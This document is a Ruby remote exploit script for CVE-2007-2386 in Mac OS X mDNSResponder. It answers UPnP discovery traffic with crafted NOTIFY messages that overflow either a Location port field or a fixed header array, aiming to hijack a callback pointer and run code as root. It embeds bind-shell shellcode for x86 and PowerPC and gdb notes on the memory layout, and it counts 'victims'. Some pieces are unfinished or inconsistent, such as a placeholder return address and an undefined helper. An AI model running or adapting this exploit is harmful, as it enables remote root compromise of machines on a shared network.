Apple Mac OS X mDNSResponder UPnP IGD Remote Arbitrary Code Execution (as root) Exploit

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#!/usr/bin/ruby
# Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
#

require "socket"
require "resolv"

# -------------- CONFIGURATION AND DEFAULTS
HTTP_SOURCE_PORT    = 1981 # change as desired

# Customize shellcode as desired:
SHELLCODE_AVAILABLE =  [
                # osx/x86/shell_bind_tcp - 74 bytes
                # http://www.metasploit.com
                # LPORT=10101
                {
                  :shellcode =>
                  "\x31\xc0\x50\x68\xff\x02\x27\x75\x89\xe7\x50\x6a\x01\x6a" +
                  "\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd" +
                  "\x80\x89\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50" +
                  "\x6a\x5a\x58\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f" +
                  "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x50" +
                  "\xb0\x3b\xcd\x80",
                  :arch => "x86",
                  :type => "bindshell"
                },
                
                # just for debugging - memory search friendly
                # int3 + ret + marker (0xdeadbabe)
                {
                  :shellcode => ("\xcc" * 48) + "\xc3" + [0xdeadbabe].pack('V'),
                  :arch => "x86",
                  :type => "debug"
                },
                
                # osx/ppc/shell_bind_tcp - 224 bytes
                # http://www.metasploit.com
                # LPORT=10101
                {
                  :shellcode =>
                  "\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00" +
                  "\x00\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78" +
                  "\x48\x00\x00\x0d\x00\x02\x27\x75\x00\x00\x00\x00\x7c\x88" +
                  "\x02\xa6\x38\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78" +
                  "\x44\x00\x00\x02\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3" +
                  "\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78" +
                  "\x38\x00\x00\x1e\x38\x80\x00\x10\x90\x81\xff\xe8\x38\xa1" +
                  "\xff\xe8\x38\x81\xff\xf0\x44\x00\x00\x02\x7c\x00\x02\x78" +
                  "\x7c\x7e\x1b\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3" +
                  "\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
                  "\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00" +
                  "\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\xa5\x2a\x79" +
                  "\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28\x90\x61" +
                  "\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00\x3b" +
                  "\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0" +
                  "\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00",
                  :arch => "powerpc",
                  :type => "bindshell"
                }
]

#
# Simple helper methods to aid in the creation of sockets for Multicast DNS.
#
module MulticastDNS
  MDNS_ADDR = "224.0.0.251"     # do not modify
  UPNP_ADDR = "239.255.255.250" # do not modify
  MDNS_PORT    = 5353           # do not modify
  UPNP_PORT    = 1900           # do not modify

  class Gate
    attr_reader :sock, :maddr, :lport, :laddr
    
    #
    # Set a handful of options that might be required (sometimes platform dependent).
    # This helps to avoid conflicts like 'Already in use' errors. Raise SO_SNDBUF as
    # necessary.
    #
    def set_sockopt
      if Socket::SO_REUSEPORT
        @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEPORT, 1)
      end
  
      if Socket::SO_REUSEADDR
        @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, 1)
      end
  
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_TTL, 255)
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, 255)
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, @maddr)
      @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDBUF, 65535)
    end

    def send(mesg, flags, *rest)
      @sock.send(mesg, flags, *rest)
    end
    
    def recvfrom(maxlen, flags = nil)
      @sock.recvfrom(maxlen, flags = nil)
    end
        
    #
    # Initialize the socket object, UDP dgram to multicast address and specified port.
    # Bind to any address.
    #
    def initialize(addr, port)
      @lport = port
      @laddr = addr
      @sock  = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, Socket::IPPROTO_UDP)
      @maddr = Socket.gethostbyname(Resolv.getaddress(addr))[3] +
               Socket.gethostbyname(Socket::INADDR_ANY)[3]
      set_sockopt
      @sock.bind(Socket.pack_sockaddr_in(port, Socket::INADDR_ANY))
      return @sock
    end
  end
end

#
# Exploit for CVE-2007-2386
#
class PortOverflow
  #
  # Method 1: "Code execution" via mDNSStorage overwrite:
  # This is used also by the CANVAS MU module: we overwrite a ptr at the
  # mDNSStorage structure. we can reach this variable after a 21120 bytes
  # overwrite (Intel) in a reliable manner.
  #
  #  (gdb) p &g_szRouterHostPortDesc <-- overflow
  #  $4 = (char (*)[1024]) 0x3bda0
  #  (gdb) p &mDNSStorage
  #  $5 = (mDNS *) 0x41020
  #  (gdb) p 0x41020 - 0x3bda0
  #  $6 = 21120
  #
  #  [g_szRouterHostPortDesc][21120 bytes][mDNSStorage][ptr]
  #        at 0x3bda0......................at 0x41020..[***]
  #
  #  (gdb) p mDNSStorage->MainCallback 
  #  $12 = (mDNSCallback *) 0xcf5a <mDNS_StatusCallback>
  #
  # Once the MainCallback pointer is overwritten, controlling the execution
  # flow is trivial:
  # (gdb) list 3289
  # (...)
  # 3289            if (m->MainCallback)
  # 3290                    m->MainCallback(m, mStatus_ConfigChanged);
  # 3291            }
  #
  # There are other potential pointer overwrites but none of them seem to make
  # reliable exploitation possible.
  #
  def self.make_payload(addr, port, shellcode)
    buf = ""
    
    # Mac OS X fragments at approx. 16318. This breaks the exploit.
    if PLATFORM =~ /darwin/
      target_size = 16134
    else
      # good to go
      target_size = 21120
    end
    
    pad = target_size - (addr.to_s + ":" + port.to_s).length
    buf << ("A" * pad)
    buf << [0x41424344].pack("V") # m->MainCallback
    
    return buf
  end
  
  #
  # Create the uPNP response containing the payload in the Locaion header.
  # Location: http://[hostname]:[port][payload]/[path]/[...]
  #
  def self.make_upnp_powder(mhost, mport, remhost, shellcode = nil)
    randname = Rex::Text::rand_text_alphanumeric(4, "\xff")
    payload  = make_payload(remhost, mport, shellcode)
    "NOTIFY * HTTP/1.1\r\n" +
    "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n"+
    "Location: http://#{mhost}:#{mport}#{payload}/#{randname}.xml\r\n"+
    "USN: uuid:upnp-InternetGatewayDevice-1_0-12345678900001::WANIPConnection\r\n"+
    "\r\n"
  end

  #
  # Sends a HTTP response with XML data as specified via xml_data.
  #
  def self.make_http_powder(uhost, uport, xml_data = '')
    "HTTP/1.1 200 OK\r\n" +
    "Cache-Control:max-age=120\r\n"+
    "Location:http://#{uhost}:#{uport}/rootDesc.xml\r\n"+
    "Server:NT/5.0 UPnP/1.0\r\n"+
    "ST:upnp:rootdevice\r\n"+
    "USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::upnp:rootdevice\r\n" +
    "EXT:\r\n" +
    "Content-Length: #{xml_data.length}\r\n\r\n"+
    xml_data
  end
end

#
# A leaked bug, later acquired by iDEFENSE.
# The problem can be abused by sending more than 30 headers in the uPNP
# response. The size of the array in which these are stored is fixed.
# Therefore, overflow condition.
#
class HeaderOverflow
  def self.make_payload(shellcode)
    headers = ''
     0.upto(400) do |i|
        headers << sprintf("%.4x: %s\r\n", i, [0x41424344].pack("V") * 8)
      end
    
    return headers
  end
  
  #
  # Generates a uPNP response including the generated headers.
  #
  def self.make_upnp_powder(uhost, uport, shellcode = nil)
    headers = make_payload(shellcode)
    
    "NOTIFY * HTTP/1.1\r\n" +
    "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n"+
    "Location: http://#{uhost}:#{uport}/rootDesc.xml\r\n" +
    "USN: uuid:upnp-InternetGatewayDevice-1_0-12345678900001::WANIPConnection\r\n"+
    headers +    "\r\n"
  end
end

#
# Hash to hold the relevant exploit information. Keeps track of
# few different things, including targets :>
#
EXPLOIT_STATUS = {
  :upnp           => 0,
  :http           => 0,
  :victims        => [],
  :bytesent       => 0,
  :mode           => nil,
  :arch           => nil,
  :payload        => nil,
  :extraopt       => nil
}
EXPLOIT_MODES = [ "port-bof", "header-bof" ]

def print_status(extra)
  EXPLOIT_STATUS[:victims].uniq!
  
  buffer = "[ "
  buffer << "UPNP: #{EXPLOIT_STATUS[:upnp]} "
  buffer << "HTTP: #{EXPLOIT_STATUS[:http]} "
  buffer << "Total-sent: #{EXPLOIT_STATUS[:bytesent]} "
  buffer << "Targets: #{EXPLOIT_STATUS[:victims].size} "
  buffer << "Mode: #{EXPLOIT_STATUS[:mode]} "
  if (extra.size > 0)
    buffer << (extra + " ")
  end
  buffer << "]"
  
  clearbuf = buffer + "\r\n"
  $stdout.printf(clearbuf)
  $stdout.flush
end

#
# Sets up the HTTP service listening on the port set in the configuration.
# Sets the necessary socket options and brings it up.
#
def setup_http_listener(http_src_addr = '127.0.0.1')
  sock = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
  sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, 1)
  sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDBUF, 65535)
  sock.bind(Socket.pack_sockaddr_in(HTTP_SOURCE_PORT, http_src_addr))
  sock.listen(5)
  puts "++ HTTP: listening at #{http_src_addr}:#{HTTP_SOURCE_PORT}"

  return sock
end

#
#
#
def hack_the_gibson(http_src_addr = '127.0.0.1')
  upnpgate = MulticastDNS::Gate.new(MulticastDNS::UPNP_ADDR,
                                      MulticastDNS::UPNP_PORT)
  upnp_soc = upnpgate.sock
  upsndbuf = upnp_soc.getsockopt(Socket::SOL_SOCKET,Socket::SO_SNDBUF).unpack('i')
  puts "++ UPNP: sndbuf=#{upsndbuf} - listening at #{upnpgate.laddr}:#{upnpgate.lport}"
  
  udpjob = Thread.new do
    begin
      while (res = upnp_soc.recvfrom(65384))
        req, src  = res
        port,host = Socket.unpack_sockaddr_in(src)
        mulpowder = nil
        mypayload = nil
        
        case EXPLOIT_STATUS[:mode]
          when 'header-bof'
            mulpowder = HeaderOverflow.make_upnp_powder(http_src_addr, HTTP_SOURCE_PORT)
          when 'port-bof'
            mulpowder = PortOverflow.make_upnp_powder(http_src_addr, HTTP_SOURCE_PORT, host)
        end

        EXPLOIT_STATUS[:upnp]     += 1
        EXPLOIT_STATUS[:victims]  << { :host => host, :port => port }
        EXPLOIT_STATUS[:bytesent] += mulpowder.size
        print_status(" upnp-payload: #{mulpowder.size}")
        upnp_soc.send(mulpowder, 0, src)
      end
    rescue ::Exception => e
      $stderr.puts "Exception: #{e} #{e.backtrace}"
    end
  end
  
  # Spawn the HTTP service delivering responses
  http_soc = setup_http_listener(http_src_addr)
  while (res = http_soc.accept())
         cli, src = res
         Thread.new do
                 port,host = Socket.unpack_sockaddr_in(src)
                 data = ''
                 while (buff = cli.gets)
                         data << buff
                 end

                 hpowder                    = make_http_powder(http_src_addr, HTTP_SOURCE_PORT)
                 EXPLOIT_STATUS[:http]     += 1
                 EXPLOIT_STATUS[:bytesent] += hpowder.size
                 print_status(" http-payload: #{hpowder.size}")
                 print_status()
                 cli.syswrite(hpowder)
                 cli.shutdown
                 cli.close
         end
  end
end

#
# Main method. Does some homebrew argument parsing.
#
def main()  
  puts "[+] mDNSResponder remote exploit (header and UPNP flaws)"
  puts "[+] Copyright (c) 2008 Subreption LLC. All rights reserved."
  puts "[+] Proprietary source code - use only under the license agreement specified"
  puts "[+] in LICENSE.txt in your Subreption Security Pack distribution."
  
  target_token = ARGV[0].to_s.scan(/(.*):(.*):(.*)/).flatten!
  
  unless target_token
    puts "Usage: #{$0} [mode]:[arch]:[payload] [source address] [optional]"
    puts "ex. #{$0} port-bof:x86:bindshell 192.168.1.26"
    puts %q{
      Arguments or modifiers:
      --------------------------------

      Modes:
      
      heap-bof    :: abuses the Header parsing overflow
      port-bof    :: abuses the url port stack-based bof
      
      ---
      Optional:
      
      brute       :: bruteforce sending to the full port range
      
      Payloads:
        bindshell = Classic bindshell on port 10101
        debug     = For debugging
      
    }
    
    exit
  else
    shellcode = SHELLCODE_AVAILABLE.find { |t|
      t[:arch] == target_token[1] and t[:type] == target_token[2]
    }
    unless shellcode
      puts "-- Unknown payload and/or architecture selected, please check."
      exit
    end
    
    unless EXPLOIT_MODES.find {|t| t == target_token[0]}
      puts "-- Unknown mode set, please check."
      exit
    end
    
    EXPLOIT_STATUS[:mode]     = target_token[0]
    EXPLOIT_STATUS[:arch]     = target_token[1]
    EXPLOIT_STATUS[:payload]  = shellcode
    http_source_addr          = ARGV[1]
    EXPLOIT_STATUS[:extraopt] = ARGV[2]
    
    puts "++ Arguments: #{ARGV.to_s}"
  end

  hack_the_gibson(http_source_addr)
end

if __FILE__ =~ /mdns_warrior/
  main()
end